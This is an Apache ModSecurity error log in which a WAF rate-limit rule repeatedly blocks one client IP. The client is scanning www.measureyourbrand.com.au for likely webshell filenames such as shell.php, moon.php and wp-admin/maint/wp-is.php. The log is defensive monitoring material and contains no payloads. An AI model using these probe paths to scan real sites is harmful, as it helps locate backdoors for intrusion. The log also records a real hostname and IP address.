[Tue Dec 02 23:27:35.365138 2025] [:error] [pid 3760:tid 3763] [client 20.196.108.177:20370] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aS8FZ1jLYEjdWVcKgVWYigAAAME"]
[Tue Dec 02 23:27:36.023932 2025] [:error] [pid 5272:tid 5278] [client 20.196.108.177:20408] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aS8FaOwbFoRzPGfZYVSPYAAAAUM"]
[Tue Dec 02 23:27:36.595105 2025] [:error] [pid 48650:tid 48667] [client 20.196.108.177:20388] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aS8FaIQuWSn3xrJsXbn54QAAAcw"]
[Tue Dec 02 23:27:37.108180 2025] [:error] [pid 3647:tid 3659] [client 20.196.108.177:20439] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aS8FaVJaqGDFgh_0XI_XQAAAAAY"]
[Tue Dec 02 23:27:37.798613 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:20333] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aS8FaQApmO-auDy1ob4oUwAAAQI"]
[Tue Dec 02 23:27:38.817484 2025] [:error] [pid 5273:tid 5324] [client 20.196.108.177:20406] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aS8FaiMmXO5H1kNwHHWFyAAAAZY"]
[Tue Dec 02 23:27:42.119969 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20352] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aS8FbgApmO-auDy1ob4oVgAAAQA"]
[Tue Dec 02 23:27:42.501249 2025] [:error] [pid 3648:tid 3708] [client 20.196.108.177:20383] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aS8FbuQEp5icp6XOJr0wfgAAAFg"]
[Tue Dec 02 23:27:42.960110 2025] [:error] [pid 3647:tid 3656] [client 20.196.108.177:20475] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aS8FblJaqGDFgh_0XI_XTwAAAAM"]
[Tue Dec 02 23:27:43.571035 2025] [:error] [pid 3649:tid 3727] [client 20.196.108.177:20407] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aS8Fb7wjL4uqC6YFjxHKEAAAAJA"]
[Tue Dec 02 23:27:44.293646 2025] [:error] [pid 5273:tid 5325] [client 20.196.108.177:20327] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aS8FcCMmXO5H1kNwHHWF3wAAAZc"]
[Tue Dec 02 23:27:44.819028 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20293] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aS8FcIQuWSn3xrJsXbn6AwAAAdE"]
[Tue Dec 02 23:27:45.948122 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:20446] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aS8FcVJaqGDFgh_0XI_XVwAAAAI"]
[Tue Dec 02 23:27:46.836723 2025] [:error] [pid 3649:tid 3727] [client 20.196.108.177:20440] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aS8FcrwjL4uqC6YFjxHKHwAAAJA"]
[Tue Dec 02 23:27:47.929591 2025] [:error] [pid 5272:tid 5299] [client 20.196.108.177:20413] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aS8Fc-wbFoRzPGfZYVSPbwAAAVg"]
[Tue Dec 02 23:27:48.653158 2025] [:error] [pid 5232:tid 5243] [client 20.196.108.177:20241] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aS8FdAApmO-auDy1ob4oWwAAAQk"]
[Tue Dec 02 23:27:49.061374 2025] [:error] [pid 48650:tid 48678] [client 20.196.108.177:20297] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aS8FdYQuWSn3xrJsXbn6DQAAAdc"]
[Tue Dec 02 23:27:49.431803 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20457] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aS8FdYQuWSn3xrJsXbn6DgAAAcA"]
[Tue Dec 02 23:27:50.409224 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20381] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aS8FdrwjL4uqC6YFjxHKKAAAAIo"]
[Tue Dec 02 23:27:51.008383 2025] [:error] [pid 3649:tid 3712] [client 20.196.108.177:20422] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aS8Fd7wjL4uqC6YFjxHKKQAAAIE"]
[Tue Dec 02 23:27:51.960768 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20361] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aS8FdyMmXO5H1kNwHHWF6QAAAYM"]
[Tue Dec 02 23:27:52.377049 2025] [:error] [pid 3760:tid 3786] [client 20.196.108.177:20356] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aS8FeFjLYEjdWVcKgVWYpAAAANg"]
[Tue Dec 02 23:27:52.888755 2025] [:error] [pid 48650:tid 48679] [client 20.196.108.177:20469] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aS8FeIQuWSn3xrJsXbn6FAAAAdg"]
[Tue Dec 02 23:27:53.530316 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20450] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aS8FeYQuWSn3xrJsXbn6FgAAAdE"]
[Tue Dec 02 23:28:00.479707 2025] [:error] [pid 5232:tid 5246] [client 20.196.108.177:20396] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aS8FgAApmO-auDy1ob4oaAAAAQw"]
[Tue Dec 02 23:28:00.928324 2025] [:error] [pid 3648:tid 3687] [client 20.196.108.177:20440] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aS8FgOQEp5icp6XOJr0woAAAAEM"]
[Tue Dec 02 23:28:01.409586 2025] [:error] [pid 5273:tid 5304] [client 20.196.108.177:20294] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aS8FgSMmXO5H1kNwHHWF_wAAAYI"]
[Tue Dec 02 23:28:01.873896 2025] [:error] [pid 3760:tid 3786] [client 20.196.108.177:20374] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aS8FgVjLYEjdWVcKgVWYrwAAANg"]
[Tue Dec 02 23:28:02.427771 2025] [:error] [pid 3760:tid 3763] [client 20.196.108.177:20377] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aS8FgljLYEjdWVcKgVWYsgAAAME"]
[Tue Dec 02 23:28:03.044075 2025] [:error] [pid 3647:tid 3653] [client 20.196.108.177:20410] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aS8Fg1JaqGDFgh_0XI_XdAAAAAA"]
[Tue Dec 02 23:28:03.929851 2025] [:error] [pid 3760:tid 3785] [client 20.196.108.177:20472] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aS8Fg1jLYEjdWVcKgVWYtQAAANc"]
[Tue Dec 02 23:28:04.577517 2025] [:error] [pid 3648:tid 3702] [client 20.196.108.177:20395] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aS8FhOQEp5icp6XOJr0wpwAAAFI"]
[Tue Dec 02 23:28:05.084293 2025] [:error] [pid 3648:tid 3686] [client 20.196.108.177:20367] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aS8FheQEp5icp6XOJr0wqQAAAEI"]
[Tue Dec 02 23:28:05.644473 2025] [:error] [pid 5232:tid 5235] [client 20.196.108.177:20453] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aS8FhQApmO-auDy1ob4oaQAAAQE"]
[Tue Dec 02 23:28:06.173283 2025] [:error] [pid 48650:tid 48663] [client 20.196.108.177:20368] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aS8FhoQuWSn3xrJsXbn6PAAAAcg"]
[Tue Dec 02 23:28:06.487720 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20417] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aS8FhoQuWSn3xrJsXbn6PQAAAdA"]
[Tue Dec 02 23:28:07.612372 2025] [:error] [pid 3760:tid 3775] [client 20.196.108.177:20398] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n.php"] [unique_id "aS8Fh1jLYEjdWVcKgVWYuAAAAM0"]
[Tue Dec 02 23:28:08.546737 2025] [:error] [pid 5232:tid 5253] [client 20.196.108.177:20295] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n.php"] [unique_id "aS8FiAApmO-auDy1ob4obAAAARM"]
[Tue Dec 02 23:28:08.953854 2025] [:error] [pid 5232:tid 5239] [client 20.196.108.177:20424] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n.php"] [unique_id "aS8FiAApmO-auDy1ob4obQAAAQU"]
[Tue Dec 02 23:28:09.537237 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20375] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n.php"] [unique_id "aS8FiYQuWSn3xrJsXbn6RQAAAc0"]
[Tue Dec 02 23:28:10.004769 2025] [:error] [pid 5232:tid 5238] [client 20.196.108.177:20330] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aS8FigApmO-auDy1ob4ocAAAAQQ"]
[Tue Dec 02 23:28:10.445428 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:20445] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aS8FigApmO-auDy1ob4ocgAAAQM"]
[Tue Dec 02 23:28:10.808073 2025] [:error] [pid 48650:tid 48663] [client 20.196.108.177:20452] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aS8FioQuWSn3xrJsXbn6RwAAAcg"]
[Tue Dec 02 23:28:11.160431 2025] [:error] [pid 5272:tid 5283] [client 20.196.108.177:20465] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aS8Fi-wbFoRzPGfZYVSPiwAAAUg"]
[Tue Dec 02 23:28:11.683344 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20441] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "aS8Fi4QuWSn3xrJsXbn6SQAAAcA"]
[Tue Dec 02 23:28:12.011566 2025] [:error] [pid 3760:tid 3774] [client 20.196.108.177:20401] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "aS8FjFjLYEjdWVcKgVWYuwAAAMw"]
[Tue Dec 02 23:28:12.308950 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:20455] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "aS8FjLwjL4uqC6YFjxHKOgAAAI0"]
[Tue Dec 02 23:28:12.811218 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20312] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "aS8FjOwbFoRzPGfZYVSPjQAAAVY"]
[Tue Dec 02 23:28:13.338309 2025] [:error] [pid 5272:tid 5285] [client 20.196.108.177:20434] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aS8FjewbFoRzPGfZYVSPjgAAAUo"]
[Tue Dec 02 23:28:13.846581 2025] [:error] [pid 3647:tid 3663] [client 20.196.108.177:20348] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aS8FjVJaqGDFgh_0XI_XiQAAAAo"]
[Tue Dec 02 23:28:14.454697 2025] [:error] [pid 48650:tid 48664] [client 20.196.108.177:20386] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aS8FjoQuWSn3xrJsXbn6TgAAAck"]
[Tue Dec 02 23:28:14.835648 2025] [:error] [pid 5232:tid 5242] [client 20.196.108.177:20418] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aS8FjgApmO-auDy1ob4oeAAAAQg"]
[Tue Dec 02 23:28:15.440352 2025] [:error] [pid 3647:tid 3666] [client 20.196.108.177:20385] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aS8Fj1JaqGDFgh_0XI_XjgAAAA0"]
[Tue Dec 02 23:28:15.824680 2025] [:error] [pid 3648:tid 3694] [client 20.196.108.177:20431] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aS8Fj-QEp5icp6XOJr0wuQAAAEo"]
[Tue Dec 02 23:28:16.732514 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20237] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aS8FkOQEp5icp6XOJr0wuwAAAEQ"]
